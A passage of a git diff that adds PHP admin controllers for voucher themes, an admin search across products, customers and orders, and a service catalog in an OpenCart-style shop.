+ $mail->setSender(html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(html_entity_decode(sprintf($this->language->get('text_subject'), $voucher_info['from_name']), ENT_QUOTES, 'UTF-8'));
+ $mail->setHtml($this->load->view('mail/voucher', $data));
+ $mail->send();
+ }
+ }
+ }
+
+ $json['success'] = $this->language->get('text_sent');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/sale/voucher_theme.php b/public/admin/controller/sale/voucher_theme.php
new file mode 100644
index 0000000..48f6218
--- /dev/null
+++ b/public/admin/controller/sale/voucher_theme.php
@@ -0,0 +1,381 @@
+load->language('sale/voucher_theme');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher_theme');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('sale/voucher_theme');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher_theme');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_voucher_theme->addVoucherTheme($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('sale/voucher_theme');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher_theme');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_voucher_theme->editVoucherTheme($this->request->get['voucher_theme_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('sale/voucher_theme');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher_theme');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $voucher_theme_id) {
+ $this->model_sale_voucher_theme->deleteVoucherTheme($voucher_theme_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'vtd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('sale/voucher_theme/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('sale/voucher_theme/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['voucher_themes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $voucher_theme_total = $this->model_sale_voucher_theme->getTotalVoucherThemes();
+
+ $results = $this->model_sale_voucher_theme->getVoucherThemes($filter_data);
+
+ foreach ($results as $result) {
+ $data['voucher_themes'][] = array(
+ 'voucher_theme_id' => $result['voucher_theme_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('sale/voucher_theme/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_theme_id=' . $result['voucher_theme_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $voucher_theme_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($voucher_theme_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($voucher_theme_total - $this->config->get('config_limit_admin'))) ? $voucher_theme_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $voucher_theme_total, ceil($voucher_theme_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/voucher_theme_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['voucher_theme_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['image'])) {
+ $data['error_image'] = $this->error['image'];
+ } else {
+ $data['error_image'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['voucher_theme_id'])) {
+ $data['action'] = $this->url->link('sale/voucher_theme/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('sale/voucher_theme/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_theme_id=' . $this->request->get['voucher_theme_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['voucher_theme_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $voucher_theme_info = $this->model_sale_voucher_theme->getVoucherTheme($this->request->get['voucher_theme_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['voucher_theme_description'])) {
+ $data['voucher_theme_description'] = $this->request->post['voucher_theme_description'];
+ } elseif (isset($this->request->get['voucher_theme_id'])) {
+ $data['voucher_theme_description'] = $this->model_sale_voucher_theme->getVoucherThemeDescriptions($this->request->get['voucher_theme_id']);
+ } else {
+ $data['voucher_theme_description'] = array();
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($voucher_theme_info)) {
+ $data['image'] = $voucher_theme_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($voucher_theme_info) && is_file(DIR_IMAGE . $voucher_theme_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($voucher_theme_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/voucher_theme_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'sale/voucher_theme')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['voucher_theme_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if (!$this->request->post['image']) {
+ $this->error['image'] = $this->language->get('error_image');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'sale/voucher_theme')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/voucher');
+
+ foreach ($this->request->post['selected'] as $voucher_theme_id) {
+ $voucher_total = $this->model_sale_voucher->getTotalVouchersByVoucherThemeId($voucher_theme_id);
+
+ if ($voucher_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_voucher'), $voucher_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/search/search.php b/public/admin/controller/search/search.php
new file mode 100644
index 0000000..a623708
--- /dev/null
+++ b/public/admin/controller/search/search.php
@@ -0,0 +1,147 @@
+session->data['user_token'])) {
+ return;
+ }
+
+ $this->load->language('search/search');
+
+ $data = array();
+
+ $data['text_search_options'] = $this->language->get('text_search_options');
+ $data['text_catalog'] = $this->language->get('text_catalog');
+ $data['text_customers'] = $this->language->get('text_customers');
+ $data['text_orders'] = $this->language->get('text_orders');
+ $data['text_catalog_placeholder'] = $this->language->get('text_catalog_placeholder');
+ $data['text_customers_placeholder'] = $this->language->get('text_customers_placeholder');
+ $data['text_orders_placeholder'] = $this->language->get('text_orders_placeholder');
+ $data['text_search_placeholder'] = $this->language->get('text_search_placeholder');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ return $this->load->view('search/search', $data);
+ }
+
+ public function search(){
+
+
+ $this->load->language('search/search');
+ $data['text_products'] = $this->language->get('text_products');
+ $data['text_categories'] = $this->language->get('text_categories');
+ $data['text_manufacturers'] = $this->language->get('text_manufacturers');
+ $data['text_orders'] = $this->language->get('text_orders');
+ $data['text_order_id'] = $this->language->get('text_order_id');
+ $data['text_customers'] = $this->language->get('text_customers');
+ $data['text_no_result'] = $this->language->get('text_no_result');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if(!empty($this->request->get['query'])) {
+ $_data['query'] = $this->request->get['query'];
+ }
+ else{
+ $json['error'] = $this->language->get('text_empty_query');
+ }
+
+ if(!empty($this->request->get['search-option'])) {
+ $search_option = $this->request->get['search-option'];
+ }
+ else{
+ $search_option = 'catalog';
+ }
+
+ if(!empty($json['error'])) {
+ $this->response->setOutput(json_encode($json));
+ return;
+ }
+
+ $this->load->model('tool/image');
+ $data['no_image'] = $this->model_tool_image->resize('no_image.png', 30, 30);
+
+ $this->load->model('search/search');
+
+ switch($search_option) {
+ case 'catalog':
+ // Get products
+ $data['products'] = $this->model_search_search->getProducts($_data);
+
+ foreach($data['products'] as $key => $product){
+ if(!empty($product['image'])) {
+ $data['products'][$key]['image'] = $this->model_tool_image->resize($product['image'], 30, 30);
+ }
+ else{
+ $data['products'][$key]['image'] = $this->model_tool_image->resize('no_image.png', 30, 30);
+ }
+
+ $data['products'][$key]['url'] = $this->url->link('catalog/product/edit', 'user_token=' . $this->session->data['user_token'] . '&product_id=' . $product['product_id'], true);
+ }
+
+
+
+ // Get categories
+ $data['categories'] = $this->model_search_search->getCategories($_data);
+
+ foreach($data['categories'] as $key => $category){
+ if(!empty($category['image'])) {
+ $data['categories'][$key]['image'] = $this->model_tool_image->resize($category['image'], 30, 30);
+ }
+ else{
+ $data['categories'][$key]['image'] = $this->model_tool_image->resize('no_image.png', 30, 30);
+ }
+
+ $data['categories'][$key]['url'] = $this->url->link('catalog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&category_id=' . $category['category_id'], true);
+ }
+
+ // Get manufacturers
+ $data['manufacturers'] = $this->model_search_search->getManufacturers($_data);
+
+ foreach($data['manufacturers'] as $key => $manufacturer){
+ if(!empty($category['image'])) {
+ $data['manufacturers'][$key]['image'] = $this->model_tool_image->resize($manufacturer['image'], 30, 30);
+ }
+ else{
+ $data['manufacturers'][$key]['image'] = $this->model_tool_image->resize('no_image.png', 30, 30);
+ }
+
+ $data['manufacturers'][$key]['url'] = $this->url->link('catalog/manufacturer/edit', 'user_token=' . $this->session->data['user_token'] . '&manufacturer_id=' . $manufacturer['manufacturer_id'], true);
+ }
+
+ $json['result'] = $this->load->view('search/catalog_result', $data);
+
+ break;
+ case 'customers':
+ $data['customers'] = $this->model_search_search->getCustomers($_data);
+
+
+
+ foreach($data['customers'] as $key => $customer){
+ $data['customers'][$key]['url'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $customer['customer_id'], true);
+ }
+
+
+ $json['result'] = $this->load->view('search/customers_result', $data);
+
+
+ break;
+ case 'orders':
+ $data['orders'] = $this->model_search_search->getOrders($_data);
+
+ foreach($data['orders'] as $key => $order){
+ $data['orders'][$key]['url'] = $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $order['order_id'], true);
+ }
+
+ $json['result'] = $this->load->view('search/orders_result', $data);
+ break;
+ default:
+ break;
+ }
+
+
+
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/service/service.php b/public/admin/controller/service/service.php
new file mode 100644
index 0000000..3fb876d
--- /dev/null
+++ b/public/admin/controller/service/service.php
@@ -0,0 +1,896 @@
+load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_service_service->addService($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_service_service->editService($this->request->get['service_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $service_id) {
+ $this->model_service_service->deleteService($service_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function copy() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (isset($this->request->post['selected']) && $this->validateCopy()) {
+ foreach ($this->request->post['selected'] as $service_id) {
+ $this->model_service_service->copyService($service_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = null;
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = null;
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $filter_noindex = $this->request->get['filter_noindex'];
+ } else {
+ $filter_noindex = null;
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'pd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = $this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('service/service/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['copy'] = $this->url->link('service/service/copy', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('service/service/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['enabled'] = $this->url->link('service/service/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('service/service/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['services'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_status' => $filter_status,
+ 'filter_noindex' => $filter_noindex,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $this->load->model('tool/image');
+
+ $service_total = $this->model_service_service->getTotalServices($filter_data);
+
+ $results = $this->model_service_service->getServices($filter_data);
+
+ foreach ($results as $result) {
+ if (is_file(DIR_IMAGE . $result['image'])) {
+ $image = $this->model_tool_image->resize($result['image'], 40, 40);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 40, 40);
+ }
+
+ $data['services'][] = array(
+ 'service_id' => $result['service_id'],
+ 'image' => $image,
+ 'name' => $result['name'],
+ 'status' => ($result['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'noindex' => ($result['noindex']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=service/service/info&service_id=' . ($result['service_id']),
+ 'edit' => $this->url->link('service/service/edit', 'user_token=' . $this->session->data['user_token'] . '&service_id=' . $result['service_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_status'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . '&sort=p.status' . $url, true);
+ $data['sort_noindex'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . '&sort=p.noindex' . $url, true);
+ $data['sort_order'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . '&sort=p.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $service_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($service_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($service_total - $this->config->get('config_limit_admin'))) ? $service_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $service_total, ceil($service_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_status'] = $filter_status;
+ $data['filter_noindex'] = $filter_noindex;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('service/service_list', $data));
+ }
+
+ protected function getForm() {
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
